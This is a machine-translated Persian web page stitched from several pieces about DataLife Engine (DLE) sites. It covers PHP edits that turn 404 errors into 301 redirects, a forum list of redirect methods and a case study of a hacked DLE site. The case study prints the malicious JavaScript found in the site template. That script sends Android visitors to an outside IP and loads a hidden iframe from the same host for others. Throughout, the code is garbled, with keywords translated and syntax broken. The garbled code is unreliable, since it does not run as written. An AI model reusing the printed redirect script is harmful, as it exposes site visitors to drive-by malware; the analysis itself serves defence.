زنگ.

کسانی هستند که این خبر را قبل از شما خوانده اند.
مشترک شدن برای دریافت مقالات تازه.
پست الکترونیک
نام
نام خانوادگی
چگونه می خواهید زنگ را بخوانید
بدون هرزنامه

من یک سایت در موتور موتور DataLife دارم و تصمیم گرفتم مشخصات خود را تغییر دهم. به طرز چشمگیری، فقط کمی محدود تم. برای انجام این کار، من نیاز به حذف از سایت بیش از نیمی از محتوا که مربوط به این موضوع نیست. او شروع به تمیز کردن صفحات کرد، جایگزین محتویات خود را به محتوای جدید. اما هنوز هم باید ساختار URL را تغییر دهد و به همین دلیل، حضور در پانل Webmaster ظاهر شد، موقعیت در جستجوی موضوعات باریک ظاهر شد. علاوه بر این، متوجه شدم که لینک ها از انجمن ها و خدمات مانند otvet.mail.ru در صفحات حذف شده وجود دارد. هنگام تعویض از این صفحات خطای 404 داده شد. علاوه بر این واقعیت فنی، دیگر عوامل منفی دنبال می شوند - وزن مرجع از دست رفته است، شاخص های رفتاری کاهش می یابد و من فکر می کنم تعداد دیگری از پیامدهای منفی است.

من تصمیم گرفتم آن را با روش وحشیانه حل کنم - برای تمام صفحات از راه دور، من 404 خطا نخواهم گذاشت، اما 301 نفر را به اصل اصلی هدایت می کنم. در CMS DLE، به منظور پیاده سازی این هک، شما نیاز به پیدا کردن کد در / موتور / ماژول / نمایش فایل. full.php پیدا کردن کد:

Elseif ($ news_found) (@ header ("http / 1.0 404 یافت نشد")؛ msgbox ($ lang ["all_err_1"]، $ lang ["news_err_12"])؛)

elseif ($ news_found) (http / 1.0 404 یافت نشد ")؛ msgbox ($ lang [" all_err_1 "]، $ lang [" news_err_12 "])؛)

و آن را جایگزین کنید

// 301 Redirect Home، اگر اخبار یافت نشد / وجود ندارد، Elseif (! $ news_found) (header (http / 1.0 301 منتقل شده به طور دائمی ")؛ هدر (" محل سکونت: ($ config ["http_home_url"]) ")؛ مرگ (" تغییر مسیر ")؛) // 301 Redirect Home، اگر اخبار یافت نشد / وجود ندارد

در حال حاضر، همه با تماس با ربات جستجو، او پیامی داده خواهد شد که اطلاعات از این صفحه برای همیشه به عنوان اصلی و تمام وزن مرجع منتقل می شود که به صفحات حذف شده منتقل می شود، به موضوع اصلی توزیع می شود.

بازدیدکنندگان از صفحات از راه دور به سادگی به خانه هدایت می شوند و من امیدوارم، سپس آنها حدس زده اند که از جستجو استفاده کنند.

در حال حاضر تقریبا منطق مشابهی از آدرس را توضیح خواهم داد، اما نه برای اخبار، بلکه برای دسته ها. فایل /engine/engine.php را باز کنید و کد را جستجو کنید:

اگر ($ category_id) $ category_ID \u003d "شناسایی نشده"؛

اگر ($ category_id) $ category_ID \u003d "شناسایی نشده"؛

کدام جایگزین

اگر ($ config ["allow_alt_url"] \u003d\u003d "بله" و! $ category_ID و $ view_template! \u003d "RSS") (header "HTTP / 1.0 301 به طور دائم نقل مکان کرد") سرتیتر ( "محل سکونت: ($ config [" http_home_url "])") مرگ ("تغییر مسیر")؛ ) // حل مشکل با دسته هایی که وجود ندارد

// حل مشکل با دسته هایی که اگر ($ config ["allow_alt_url"] \u003d\u003d "بله" و! $ category_ID و $ view_template! \u003d "RSS") (header (http / 1.0 301 به طور دائمی نقل مکان کرد ")؛ هدر ( "محل سکونت: ($ config [" http_home_url "]")؛ مرگ ("تغییر مسیر")؛) // حل مشکل با دسته هایی که وجود ندارد

همه چيز. در حال حاضر یکسان برای دسته های DLE از راه دور کار خواهد کرد.

شبکه قبلا شرایط بسیاری را توصیف کرده است که در آن سایت در DLE (موتور زندگی داده ها) با ویروس آلوده شده و تغییر مسیر را به یک دامنه دیگر تبدیل شده است. در این مقاله، در مورد یکی از این هک های سایت خواهد بود، با این حال، توصیف چنین نوع عفونت بعید به نظر می رسد - یک نوع ویروس منحصر به فرد، که برای اولین بار متوجه شد.

به عنوان یک ویروس به سایت ضربه

داده های دقیق در مورد منبع عفونت به دست نمی آید. با توجه به فایل های یافت شده که به پوشه آپلود شده پر شده بودند، هیچ چیز مشخصی نمی توان یافت.

احتمالا یک رمز عبور از میزبانی یا محل مدیریت به سرقت رفته است. حساب های FTP در سایت استفاده نمی شود.

تغییر مسیر غیر معمول

اولین بار در مورد حضور ویروس به Yandex در نوار ابزار برای وب سایت ها در روز یکشنبه در تاریخ 16 نوامبر گفته شد. این همه به این ترتیب نگاه کرد:

جستجو ویروس در سایت

برای پیدا کردن یک ویروس، یک اسکریپت خاص مورد استفاده قرار گرفت ai-bolit. از آنجا که اندازه سایت بیش از 1 گیگابایت بود، فایل های اسکن برای ویروس ها به طور مستقیم بر روی سرور شکست خورد (فاقد زمان زمان).

با دانلود آرشیو سایت در دیسک محلی، آزمون راه اندازی شد، نتایج آن کاملا شگفت زده شد - هیچ چیز مشکوک در فایل ها وجود نداشت، اما این سایت هنوز به دامنه محتوای ناخوشایند، سپس در بار نرم افزار مشکوک طراحی شده است .

هنگام ورود به سایت از تلفن همراه در حال اجرا سیستم عامل آندروید، کاربران به طور خودکار به این صفحه نقل مکان کرد:

یا چنین:

به دنبال هر فایل به طور جداگانه، برای شناسایی تهدید نیز کار نمی کرد.

چگونه یک تغییر مسیر را با چنین عفونت DLE پیدا کنیم

به طور کامل با شانس در قالب اصلی Main.TPL، در پایین فایل بود. به طور مستقیم در ویجت مشاور آنلاین شامل چنین کد بود:

خط پیشین به نظر می رسد مشکوک به نظر می رسد، یعنی کتابخانه بی نظیر jquery.ui.js از یک آدرس غیر قابل درک که در قالب IP تجویز شده بود بارگیری شد.

عبور از این آدرس ما موارد زیر را دریافت می کنیم:

اگر (getcookie (google__analytics __ ")) (var gate \u003d" http://5.61.34.53/jquery/jquery.php "؛ var today \u003d تاریخ جدید ()، فردا \u003d تاریخ جدید ()؛ فردا. امروز فردا .etdate .getdate () + 1)؛ setcookie ("google__analytics__"، 1، tomorroper.togmtstring ())؛ var ua \u003d navigator.useregent.tolowce ()؛ اگر (ua.indexof ("Android")\u003e - 1) پنجره. موقعیت \u003d دروازه؛ دیگر (var el \u003d document.createelement ("iframe")؛ document.body.appendchild (el)؛ el.id \u003d "iframe"؛ el.style.width \u003d 0؛ el.style .height \u003d 0؛ el.src \u003d "http://5.61.34.53/2c24"؛)) تابع setcookie (نام، ارزش، منقضی، مسیر، دامنه، امن) (document.cookie \u003d نام + "\u003d" + فرار (ارزش) + ((منقضی شده)؟ "؛ منقضی شده \u003d" + منقضی می شود: "") + (مسیر)؟ "؛ مسیر \u003d" + مسیر: "") + ((دامنه)؟ "؛ دامنه \u003d" + دامنه : "" + (امن)؟ "؛ امن": ")؛) تابع getcookie (نام) (var cookie \u003d" + document.cookie؛ var search \u003d "" + نام + "\u003d"؛ var setstr \u003d null؛ var؛ var offset \u003d 0؛ var end \u003d 0؛ اگر (cookie.length\u003e 0) (offset \u003d cookie.indexof ) اگر (Offset! \u003d -1) (offset + \u003d search.length؛ end \u003d cookie.indexof ("؛"، افست) اگر (end \u003d\u003d -1) (end \u003d cookie.length؛) setstr \u003d Unescape (کوکی. Substring (افست، پایان))؛)) بازگشت (Setstr)؛ )

این خط با یک اسکریپت است و باعث تغییر مسیر می شود. از بین بردن آن با تغییر گذرواژه ها در سایت و میزبانی، مشکل ناپدید شد.

این دقیقا این ویروس تغییر مسیر از سایر انواع عفونت است

جستجو بر اساس فایل های سایت با استفاده از Notepad Eval، Base64 و دیگران، بی فایده است. سایت را با آنتی ویروس بررسی کنید (همه شناخته شده) - بی فایده است. چک کردن با استفاده از AI-bolit نیز نتیجه نمی شود.

فقط در حالت دستی با مشاهده مستقل شما می توانید نتیجه را ببینید، از آنجا که ویروس از خود سایت بارگیری نشده است، اما از یک منبع خارجی. برای جلوگیری از یک سایت هک کردن مشابه، هرگز ورود به سیستم ها و گذرواژه ها را در مرورگرها حفظ نکنید، آنها را چند برابر کنید و از مدیر نام مدیر استفاده نکنید. مراقبت از سایت های خود را در پایین!

وضعیت موضوع: بسته شده است.

  1. با توجه به مهاجرت در 8 دسامبر، لازم است ثبت نام مجدد با صفحات قدیمی به موارد جدید.

    v.htaccess من اضافه کردن تغییر مسیر 301 / محتوا / نمایش / 121/54 / http://www.site.ru/alan

    به عنوان مثال، شما برای تست در www.test.com، بقیه در Enter.Test.com (روش سوابق مهم است

    نکته: برای اهداف من (تغییر در دامنه)، اولین نسخه از 301 تغییر مسیر بود.
    2.
    با استفاده از mod_rewrite (نوشته شده در file.htaccess

    وظیفه ادغام کلاسیک از نام سایت با WWW و بدون آن حل شده است مانند این:

    گزینه ها + followsymlinks.
    بازنویسی بر روی
    rewritecond٪ (http_host) ^ yoursite \\ .com
    REWRATEULE ^ (. *) $ http://www.yoursite.com/$1.

    یا نحو جایگزین:

    گزینه ها + followsymlinks.
    بازنویسی بر روی
    rewritecond٪ (http_host) ^ دامنه \\ .com $
    rewriterule ^ (. *) $ http://www.domain.com/$1

    این بدان معنی است: مشتری را هدایت کنید و آن را به کد وضعیت 301 ارسال کنید (R \u003d 301) و این قانون آخرین (L) را انجام دهید.

    تغییر مسیر قدیمی به جدید:

    گزینه ها + followsymlinks.
    بازنویسی بر روی
    rewriterule (. *) http://www.newdomain.com/$1

    به عنوان مثال، اگر شما نیاز به به جای rewrite.htm، فایل rewrite.html بارگذاری شده، اضافه کردن v.htaccess:

    بازنویسی بر روی
    rewritebase /
    rewriterule ^ بازنویسی \\ .htm $ rewrite.html

    برای جایگزینی فایل های all.htm فایل ها:

    بازنویسی بر روی
    rewritebase /
    rewriterule ^ (. *) \\. htm $ $ 1.html

    3.
    تغییر مسیر بر روی PHP:


    سربرگ ("محل: http://www.newdomain.ru/newdir/newpage.htm")؛
    خروج ()؛
    ?>

    بهتر است HTTP / 1.1 را مشخص کنید، زیرا مسن تر از میزبانی مجازی پشتیبانی نمی کند. فراموش نکنید که قبل از تماس هدر، هیچ چیز نباید نمایش داده شود (به عنوان مثال، اکو یا چاپ). بنابراین بهتر است این کد را به ابتدای اسکریپت پی اچ پی بفرستید. ساکت تر از پی اچ پی تغییر مسیر با صرفه جویی در صفحه انتقال و پارامترهای تماس:

    $ ref \u003d $ _ سرور ["query_string"]؛
    اگر ($ ref! \u003d "" $ ref \u003d "؟" $ ref؛
    هدر ("HTTP / 1.1 301 به طور دائمی نقل مکان کرد")؛
    سربرگ ("محل: http://newdomain.com/".$Ref)؛
    خروج ()؛
    ?>

    4.
    تغییر مسیر در ASP.

    <%@ Language=VBScript %>
    <%
    Response.Status \u003d "301 به طور دائم نقل مکان کرد"
    Response.Addheader "محل"، "http://www.new-ourl.com"
    response.end.
    %>

    5.
    تغییر مسیر در ASP.NET.

    6.
    تغییر مسیر در coldfusion

    <.cfheader statuscode="301" statustext="Moved permanently">
    <.cfheader name="Location" value="http://www.new-ourl.com">

    7.
    تغییر مسیر با Meta Refresh

    از کجا 0 تاخیر تغییر مسیر در ثانیه، newdomain.com -Stussian، جایی که به جلو. برخی از مرورگرهای قدیمی Meta Refresh را با ارزش 0 پشتیبانی نمی کنند، برای سازگاری شما می توانید یک مقدار غیر صفر را نصب کنید، اگر چه، به نظر من دیگر مربوط نیست. چنین تغییر مسیر نمی تواند سایت های شما را چسباند (با WWW و بدون) و انتقال PR، همانطور که توسط موتورهای جستجو نادیده گرفته می شود. این کد 200 را باز می کند، که مربوط به صفحه معمولی است. این تکنیک با اسپم ها محبوب است، بنابراین باید فقط برای صفحاتی که نمایه نمی شوند استفاده شود.
    8.
    تغییر مسیر با جاوا اسکریپت

    گزینه های حمل و نقل در جاوا اسکریپت اغلب با استفاده از تابع Settimeout ("تابع"، تاخیر) اجرا می شود.

    به عنوان مثال، به طور خودکار بر روی دکمه "Submit" Button "Searchform" در 0.1 ثانیه پس از بارگذاری کد کلیک کنید:

    settimeout ("document.forms [" searchform "]. submit.click ()"، 100)؛

    برای مثال می توانید هر عمل را بر روی دکمه ارسال، برای باز کردن یک URL جدید در این پنجره قطع کنید. به هر حال، چنین تغییر مسیر ها در هنگام سازماندهی Dorways (Dorway) رایج است - مرورگر کاربر به یک صفحه دیگر هدایت می شود و ربات جستجو که "نمی فهمد" جاوا اسکریپت این صفحه را فهرست می کند، غیر قابل دسترس به کاربر است. بر روی آن، خانه ها متن را، غنی از کلمات کلیدی "مورد نظر" قرار می دهند.

    به سادگی به یک صفحه دیگر هدایت می شود، می توانید بعد از یکی از گزینه های کد برای جاوا اسکریپت وارد شوید:
    * محل سکونت \u003d "http://www.newdomain.com"؛
    * document.location.href \u003d "http://www.newdomain.com"؛
    * window.location.Reload ("http://www.newdomain.com")؛
    * document.Location.replace ("http://www.newdomain.com")؛
    در مورد دوم، این امکان وجود نخواهد داشت که به صفحه تغییر مسیر بازگردد، زیرا آدرس آن از تاریخ پاک شده است، که اغلب ضروری است. اگر شما نیاز به تاخیر در زمان، شما می توانید محل \u003d "http://www.newdomain.com" را ترتیب دهید؛ در قالب یک تابع و آن را در Settimeout قرار دهید ("تابع ()"، delay_v_msek)؛ تغییر مسیر در JAVASCRUTT 301 تغییر مسیر نیست و صفحات PR را نمی دهد، نمی تواند چسباندن خود را ارائه دهد.

    ما علاوه بر این، برخی از ویژگی های تغییر مسیر را ذکر می کنیم:

    * روش های هدایت شده C.htaccess فقط در سرورهای لینوکس کار می کنند که آپاچی با ماژول بازنویسی MOD دارند.
    * USE.HTACCESS یک بار اضافی را در سرور Apache ایجاد می کند تا به طور موثر دستورالعمل های مشابه را در فایل پیکربندی خود HPPTD.Conf تجویز کند، اما به عنوان یک قانون، دسترسی به وب مستر وجود ندارد.
    * 301 تغییر مسیر، به شما اجازه می دهد تا ترافیک را ذخیره کنید و PRS PR را برای موتورهای جستجو انجام دهید (برای گوگل دقیقا).
    * فرآیند چسباندن و انتقال PR طول می کشد تا چند ماه طول بکشد و همچنین به موتور جستجو بستگی دارد، بنابراین تا زمانی که انتقال نهایی رخ می دهد، صفحه قدیمی یا سایت را حذف نکنید.
    * برخی از موتورهای جستجو نیاز به چسباندن سایت های تنظیمات اضافی، به عنوان مثال، برای Yandex شما نیاز به اضافه کردن robots.txt

    نتیجه. یک راه امن برای هدایت صفحات قدیمی به یک سایت جدید یا قدیمی به یک آدرس جدید، در حالی که حفظ موقعیت در موتورهای جستجو، استفاده از 301 تغییر مسیر است، که همچنین به شما اجازه می دهد تا صفحه قدیمی را به سایت جدید انتقال دهید.

    برای اطلاعات بیشتر در مورد mod_rewrite، شما می توانید در خواندن:

دوستان سلام. در نهایت وقت آن است که بخش سوم من از Mega-Manual من بهینه سازی DLE.

تنها در حال حاضر با وحشت متوجه شد که بخش دوم قبلی رهبری بیش از شش ماه پیش منتشر شد!

با توجه به سنت فعلی، ما در مورد بحث و به طور خاص در این بخش صحبت خواهیم کرد من درباره برخی از ویژگی های موتور و چیپ های کوچک، اما بسیار مفید و خاكی خواهم گفتاین فرمت را در قسمت های قبلی مطابقت نداشت.

این قسمت نیز با آدرس صفحات مرتبط است، اما در مقایسه با بخش دوم، جایی که ما با دو برابر مبارزه کردیم و از ظاهر آنها کنار گذاشتیم، در این قسمت ما به نحوه خلاص شدن از صفحات غیر موجود که به نظر می رسید، نگاه می کنیم نتیجه حذف یا خطا در آدرس.

ارسال به روز رسانی 6 مه 2014:
به روز شده تغییرات ساخته شده در موتور، پشتیبانی از نسخه های جدید موتور.
مربوط به نسخه های زیر از DLE: 7.x، 8.x، 9.x، 10.x!

سایر بخش های SEO-Manual:
قسمت 1، عنوان عنوان بهینه سازی عنوان -
قسمت دوم، مبارزه با تکثیر محتوا -
قسمت 4، اصلاح نسخه های DLE 9.3، 9.4، 9.5، 9.6 -

تغییر مسیر با صفحات صفحه بندی غیر موجود در سمت راست و موجود

تراشه امروز به معنای واقعی کلمه اختراع شد، زمانی که من بسیاری از 404 خطا در یکی از سایت های در پانل وب مستر پیدا کردم.

یک وضعیت کاملا واقعی را بگیرید - به دلایلی که تصمیم گرفتید تعدادی از اخبار نمایش داده شده در صفحه اصلی یا صفحات رده را تغییر دهید. چگونه اتفاق افتاد: طراحی مجدد کاربر؛ ساختار صفحه به طور کامل تغییر کرد تصمیم گرفت تا اطلاعیه های کوتاه تر اخبار را در هر صفحه برداشته شود (7 ساله بود، 10 سالگی شد). نتیجه زیر بود - بسیاری از صفحات با 404 خطا در پانل WebMasters ظاهر شده اند. ریاضی ساده، 1000 خبر در سایت بود، در هر اعلامیه هر صفحه در هر صفحه نمایش داده شد، بنابراین تنها در مورد اصلی ما 1000/7 \u003d صفحات صفحه بندی 1000/7 است. پس از تغییر صفحات، دقیقا 100 بود. به عنوان یک نتیجه، 42 صفحه به سادگی ناپدید شد. و اگر ما دسته های بیشتری را مصرف کنیم، صفحات غیر موجود در حال حاضر صدها و دو نفر هستند. بد، زشت است و در همه کار نمی کند.

فایل /engine/modules/show.short.php را باز کنید و در پایین پیدا کردن:

} ?>

در بالا اضافه کردن:

$ all_pages_count \u003d @ ceil ($ count_all / config ["news_number"])؛ اگر ($ cstart\u003e $ all_pages_count) (اگر ($ all_pages_count\u003e 1) (header ()؛ هدر ("محل:". $ url_page. "/ صفحه /" $ all_pages_count. "/")؛ مرگ دیگر (هدر ( "http / 1.1 301 به طور دائم نقل مکان کرد") هدر ("محل:". $ url_page. "/")؛ مرگ ()؛ ) // تغییر مسیر برای آخرین صفحه، اگر URL نشان دهنده یک صفحه بیش از بیشتر موجود است

// redirect در آخرین صفحه، اگر URL نشان می دهد یک صفحه بیش از حداکثر $ all_pages_count \u003dChil ($ count_all / $ config ["news_number"])؛ اگر ($ cstart\u003e $ all_pages_count) (اگر ($ all_pages_count\u003e 1) (header (http / 1.1 301 به طور دائمی نقل مکان کرد ")؛ هدر (" محل سکونت: ". $ url_page." / صفحه / $ all_pages_count. "/ ")؛ die ()؛) else (header (http / 1.1 301 به طور دائمی نقل مکان کرد")؛ هدر ("محل:". $ url_page. "/")؛ die ()؛) // redirect برای آخرین صفحه ، اگر URL نشان دهنده یک صفحه بیشتر از موجود ترین باشد

من کمی توضیح خواهم داد: یک بررسی در شرایط وجود دارد - اگر تعداد صفحه فعلی بیش از حداکثر تعداد صفحات سایت (یا در رده) باشد، سپس یک تغییر مسیر برای آخرین صفحه است. اگر صفحه شماره 2 درخواست شود، صفحات تنها یک، و سپس یک تغییر مسیر بر روی صفحه GRIM (یا صفحه اصلی رده رخ می دهد.

یک مثال بر روی انگشتان، کسی سایت سایت سایت را درخواست می کند. rou/page/435/، و در این سایت فقط 268 صفحه، بنابراین تغییر مسیر به site.ru/page/268/ اتفاق خواهد افتاد.

تغییر مسیر با صفحات غیر موجود از نظرات صفحه بندی در سمت راست

ارتباط: فقط نسخه های DLE 8.x، 9.x. برای dle 10.x مربوط نیست، زیرا در حال حاضر در موتور خود اجرا شده است.

یک وضعیت مشابه با صفحه بندی در نظرات. ممکن است چنین وضعیتی وجود داشته باشد که، به عنوان مثال، شما در نظرات خواسته شد، موتورهای جستجو توسط تمام صفحات نظرات نمایه شده اند و سپس شما را متوجه شده اند و همه نظرات را حذف کرده اید. اما صفحاتی که موتور جستجو نشان داده شده است، هنوز باقی خواهد ماند، فقط هیچ نظری در آنها نمایش داده نخواهد شد، و دو برابر کامل از صفحه اصلی اخبار وجود خواهد داشت. و غم انگیز است، شما باید تصحیح کنید!

فایل / گروهی / کلاسیک/Comments.class.php را باز کنید و در پایین پیدا کردن:

} } ?>

در بالا اضافه کردن:

// تغییر مسیر در آخرین صفحه نظرات اگر URL نشان می دهد بیش از حداکثر موجود اگر ($ این cstart\u003e $ enPages_Count) (http / 1.1 301 منتقل شده به طور دائم)؛ هدر ("محل:". $ URL)؛ مرگ ()؛) // تغییر مسیر در آخرین صفحه نظرات اگر URL نشان می دهد صفحه بیش از بیشتر موجود است

خوب، حالا همه چیز به ترتیب است، شما می توانید بررسی کنید.

تغییر مسیر با پیوندهایی با نمادهای غیر ضروری و یا پایان دادن به پایان دادن به آدرس های مناسب

ارتباط: همه نسخه های DLE. چک شده توسط 7.x، 8.x، 9.x، 10.x.

پیش از این، یک راه حل بسیار دشوار بود که به نسخه موتور وابسته بود. اما از لحظه نوشتن این پست، من به اندازه کافی مهارت هایم را برای ایجاد یک راه حل جهانی برای تمام نسخه های DLE و به طور کلی به طور کامل برای هر موتور یا هر سایت!

open.htaccess، که در ریشه قرار دارد و پیدا کردن:

rewritebase / rewritecond٪ (requritecond٪ (request_filename)! -d rewritecond٪ (request_uri) ^ (. *) \\. html (. +) rewritecond٪ (request_uri) ^ (. *) \\. htm $ rewritecond٪ (request_uri) ^ (. *) \\. ht $ rewritecond٪ (request_uri) ^ (. *) \\. h $ rewritecond٪ (request_uri) ^ (. *) \\ $ rewriterule ^ (. *) $ 1. html

صرف نظر از نوع انتخابی CNC، هنگام تغییر به هر "منحنی"، بازدید کننده به آنجا می رود، جایی که قرار بود دریافت کرد.

تغییر مسیر از بخش ها یا دسته هایی که دیگر به صفحه اصلی وجود ندارد

ارتباط: همه نسخه های DLE. چک شده توسط 7.x، 8.x، 9.x، 10.x.

یک مثال از زندگی: شما تصمیم گرفتید ساختار سایت را تغییر دهید یا به سادگی برخی از دسته ها را غیر ضروری حذف کنیدبنابراین، این صفحات متوقف خواهد شد و پیوند به آنها می تواند جایی باقی بماند. به عنوان مثال، در Emofans من یک بار یک بار وبلاگ ها را برای کاربران موجود در site.ru/blog/ داشت، و آنها به کاربران تقسیم شدند، مانند این (/ وبلاگ / user1 /، site.ru/blog / user2 / ets. سالهاست که چند سال است که من این وبلاگ ها را غیر ضروری تخریب کرده ام و به آنها و خطاها در پانل وب مستر زندگی می کنم.

این ویرایش به شما این امکان را می دهد که از ظاهر آدرس صفحات خبر کامل بدون گسترش در پایان یا در تمام آدرس های کامل اخبار جلوگیری کنید، زمانی که هیچ قطعه ای از URL در انتها وجود ندارد. بنابراین، در ترکیب با پاراگراف قبلی، این تغییرات به 99٪ کمک می کند از ظاهر آدرس های نادرست و ناخواسته جلوگیری شود.

فایل /engine/engine.php را باز کنید و پیدا کردن:

اگر ($ category_id) $ category_ID \u003d "شناسایی نشده"؛

اگر ($ category_id) $ category_ID \u003d "شناسایی نشده"؛

جایگزین کردن در:

// حل یک مشکل با دسته هایی که اگر (! $ category_ID و $ view_template! \u003d "RSS") (header (http / 1.0 301 به طور دائمی نقل مکان کرد)؛ هدر ("محل سکونت: ($ config [" http_home_url "]" )؛ مرگ ("تغییر مسیر")؛) // حل مشکل با دسته هایی که وجود ندارد

تغییر مسیر برای نشریات که از دست رفته ID، به صفحه اصلی

ارتباط: همه نسخه های DLE. چک شده توسط 7.x، 8.x، 9.x، 10.x.

یکی دیگر از داستان های واقعی از سایت های من گرفته شده است. صفحات بسیاری در پنل وب مستر با یک خطای 404 این نوع Site.ru/category/subcat/page-name.html وجود دارد، و با توجه به قوانین باید So Site.ru/categor/subcat/123-page_name وجود داشته باشد. HTML صادقانه بگویم، من هنوز نمی فهمم که چگونه و چرا اخبار ID و کسانی که به این نکته اشاره کرده اند. هیچ ماژول و هک هایی که از URL شناسه او حذف می شوند، من هرگز استفاده نمی کنم، بنابراین من گناهان را در افرادی که "کج" پیوند ها را در بدن خود به سایت من گذاشتم. خوب، خوب، دیگر مهم نیست، اما مهم است که با این مشکل مقابله کنیم!

فقط برای نسخه های DLE 10.x (و همچنین برای 9.5، 9.6، 9.7 و 9.8)

نسخه جدید این کد فراتر از این واقعیت است که من آدرس "مشکل" صفحات خبری کامل را هدایت می کنم، اما همچنین صفحات اصلی و غیرقابل انکار یا از راه دور را هدایت می کند. این با منطق تغییر در موتور متصل است. از یک طرف، احتمالا خوب است، زیرا در یک فساد، دو مشکل حل می شود. از سوی دیگر، در ابتدا موتور به طور معمول 404 خطا را به ارمغان می آورد - اگر شما از این وضعیت امور راضی هستید، ویرایش ها را در این پاراگراف توضیح ندهید.

فایل /engine/modules/static.php را باز کنید و در پایان بسیار پیدا کنید:

@ header ("http / 1.0 404 یافت نشد")؛ $ lang ["static_page_err"] \u003d str_replace ("(صفحه)"، $ نام ".html"، $ lang ["static_page_err"]؛ msgbox ($ lang ["all_err_1"]، $ lang ["static_page_err"]؛

header ("http / 1.0 404 یافت نشد")؛ $ lang ["static_page_err"] \u003d str_replace ("(صفحه)"، $ نام ". HTML"، $ lang ["static_page_err"])؛ msgbox ($ lang ["all_err_1"]، $ lang ["static_page_err"]؛

جایگزین کردن در:

// 301 Redirect Home با صفحات خبری آدرس هایی که در آن ID رفته است، و همچنین هدر صفحات استاتیک غیر موجود ("HTTP / 1.0 301 به طور دائمی حرکت می کند")؛ هدر ("محل سکونت: ($ config [" http_home_url "]")؛ مرگ ("تغییر مسیر")؛ // 301 Redirect Home از صفحات خبری آدرس هایی که ID از بین رفته است، و همچنین صفحات استاتیک غیر موجود

تصمیم قدیمی فقط برای نسخه های DLE 7.x، 8.x، 9.0، 9.2 و 9.3

تمام آدرس های حاوی در پایان. HTML و حاوی شناسه ها به صفحه اصلی بازگردانده می شود. صفحات موجود و صحیح استاتیک، اگر چه آنها همچنین ID را در URL ندارند، نمی توانند حکومت کنند، بلکه به عنوان قبل کار خواهند کرد.

تمام فایل / ENGINE/ENGINE.php را باز کنید و پیدا کردن:

اگر ($ اشتراک \u003d\u003d "" $ subaction \u003d "showfull"؛ )

اگر ($ اشتراک \u003d\u003d "" $ subaction \u003d "showfull"؛ )

زیر اضافه کردن:

اگر (($ config ["allow_alt_url"] \u003d\u003d "بله") && (strs (strs (strs) ["request_uri"]، ".html")، \u003d\u003d false) && ($ dle_module \u003d\u003d "اصلی") ( سرتیتر ( "HTTP / 1.0 301 به طور دائم نقل مکان کرد") سرتیتر ( "محل سکونت: ($ config [" http_home_url "])") مرگ ("تغییر مسیر")؛ ) // 301 هدایت به خانه با آدرس صفحات خبری که شناسه رفته است

// 301 Redirect Home از صفحات خبری آدرس هایی که ID IF (($ config ["allow_alt_url"] \u003d\u003d "YES") && (strs ($ _ سرور ["request_uri"]، ".html")، ".html")، ".html")! \u003d\u003d FALSE) && ($ dle_module \u003d\u003d "اصلی")) (header (http / 1.0 301 منتقل شده به طور دائمی ")؛ هدر (" محل سکونت: ($ config ["http_home_url"] ")؛ مرگ (" تغییر مسیر ")؛) / / 301 تغییر مسیر خانه از آدرس صفحات خبری که شناسه رفته است

تغییر مسیر برای اخبار از راه دور یا غیر موجود به اصلی

ارتباط: همه نسخه های DLE. چک شده توسط 7.x، 8.x، 9.x، 10.x.

خوب، وضعیت استاندارد وجود دارد و می تواند در هر سایت ملاقات کند. شما نوعی از اخبار را حذف کردید و البته 404 خطا صادر می شود. اگر آن را به شما مناسب نیست، یعنی 404 خطا صادر می شود، پس شما می توانید انجام دهید، به عنوان مثال، 301 تغییر مسیر به صفحه اصلی سایت، که قطعا وجود دارد؛)

فایل /engine/modules/show.full.php را باز کنید و پیدا کردن:

Elseif ($ news_found) (@ header ("http / 1.0 404 یافت نشد")؛ msgbox ($ lang ["all_err_1"]، $ lang ["news_err_12"])؛)

elseif ($ news_found) (http / 1.0 404 یافت نشد ")؛ msgbox ($ lang [" all_err_1 "]، $ lang [" news_err_12 "])؛)

جایگزین کردن در:

// 301 Redirect Home، اگر اخبار یافت نشد / وجود ندارد، Elseif (! $ news_found) (header (http / 1.0 301 منتقل شده به طور دائمی ")؛ هدر (" محل سکونت: ($ config ["http_home_url"]) ")؛ مرگ (" تغییر مسیر ")؛) // 301 Redirect Home، اگر اخبار یافت نشد / وجود ندارد

در حال حاضر، هنگام رفتن به یک نشریه غیر موجود یا از راه دور، تغییر مسیر به صفحه اصلی سایت انجام خواهد شد.

به طور کلی، بچه ها، من یک پست بسیار بزرگ در مورد آن دارم.
من توصیه می کنم که خودتان را با آن آشنا کنید، صرفنظر از اینکه آیا شما فقط با DLE یا CMS دیگر کار می کنید.

منع شاخص سازی بخش های سایت را با استفاده از روبات های متا تگ ممنوع کنید

ارتباط: همه نسخه های DLE. چک شده توسط 7.x، 8.x، 9.x، 10.x.

بنابراین، به یاد داشته باشید من اخیرا یک پست در مورد جایی که او گفته بود منتشر کردم صفحات نمایه سازی را با استفاده از robots.txt کار نکنید، اما به بستن گزینه مناسب. من به شدت توصیه می کنم برای کشف این پست.

اگر احساس اعتماد نکنید، من به شدت توصیه می کنم استفاده کنید! با ماژول، شما به هیچ وجه به هیچ وجه اشتباه نکنید، اما شما مجبور نیستید پس از هر بروزرسانی موتور، ویرایش داده ها را انجام دهید.

ما فایل را دوست داشتنی /نگین/engine.php باز می کنیم، ما یک رشته بی فایده را پیدا می کنیم و حذف می کنیم:

اگر ($ config ["allow_rss"]) $ metatags \u003d<< HTML؛

در بالا اضافه کردن:

اگر ($ اشتراک \u003d\u003d "userinfo" یا $ subaction \u003d\u003d "allnews" یا $ subaction \u003d\u003d "newposts" یا $ do \u003d\u003d "stats" یا $ do \u003d\u003d "addnews" یا $ do \u003d\u003d "ثبت نام" یا $ $ do \u003d\u003d "مورد علاقه" یا $ do \u003d\u003d "PM" یا $ DO \u003d\u003d "PM" یا $ do \u003d\u003d "بازخورد" یا $ do \u003d\u003d "Lastcomments" یا $ do \u003d\u003d "lostpassword" یا $ do \u003d\u003d "جستجو" یا $ do \u003d\u003d "LastNews" یا $ do \u003d\u003d "alltags" یا $ do \u003d\u003d "برچسب ها" یا $ dle_module \u003d\u003d "تاریخ") $ metatags. \u003d << html;

